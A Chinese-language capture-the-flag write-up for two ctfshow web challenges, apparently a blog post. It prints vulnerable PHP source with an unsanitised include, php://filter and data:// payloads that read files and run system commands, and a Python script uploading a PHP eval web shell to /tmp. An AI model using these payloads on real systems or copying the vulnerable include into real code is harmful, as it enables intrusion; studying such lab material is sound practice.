ctfshow web 36d 练手赛

发布于:2024-07-07 ⋅ 阅读:(54) ⋅ 点赞:(0)

不知所措.jpg

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

没啥用然后测试了网站可以使用php伪达到目的

?file=php://filter/convert.base64-encode/resource=test/../index.
<?php
error_reporting(0);
$file=$_GET['file'];
$file=$file.'php';
echo $file."<br />";
if(preg_match('/test/is',$file)){
	include ($file);
}else{
	echo '$file must has test';
}
?>

传入的file必须包含有test才能实现文件包含
data协议执行命令

?file=data://text/plain,<?=system('cat /FFFFFFFL@GGGG');?>test

easyshell

在这里插入图片描述

在这里插入图片描述
然后发现了cookie异常有hash值

传入
在这里插入图片描述
在这里插入图片描述
发现是个404,抓包看看

在这里插入图片描述

访问flflflflag.php
在这里插入图片描述
看到了 include我本来想的直接带出flag,结果不行,只能看源码

flflflflag.php?file=php://filter/read=convert.base64-encode/resource=index.php
<?php
include 'config.php';
@$name=$_GET['name'];
@$pass=$_GET['pass'];
if(md5($secret.$name)===$pass){
	echo '<script language="javascript" type="text/javascript">
           window.location.href="flflflflag.php";
	</script>
';
}else{
	setcookie("Hash",md5($secret.$name),time()+3600000);
	echo "username/password error";
}
?>
<html>
<!--md5($secret.$name)===$pass -->
</html>
flflflflag.php?file=php://filter/read=convert.base64-encode/resource=dir.php

一样的方法带出dir.php

<?php
var_dump(scandir('/tmp'));
?>

我们上传的文件会被默认保存在/tmp目录下
所以我们写个木马

import requests
from io import BytesIO   #BytesIO实现了在内存中读写bytes
payload = "<?php eval($_POST[cmd]);?>"
data={'file': BytesIO(payload.encode())}
url="https://d60efa26-14f0-4d6d-a22e-4066b7eeb9f8.challenge.ctf.show/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=data,allow_redirects=False)

在这里插入图片描述
看到我们上传的🐎文件

flflflflag.php?file=phpgqgWtk
和这个
flflflflag.php?file=../../../tmp/phpgqgWtk

都不能getshell好奇怪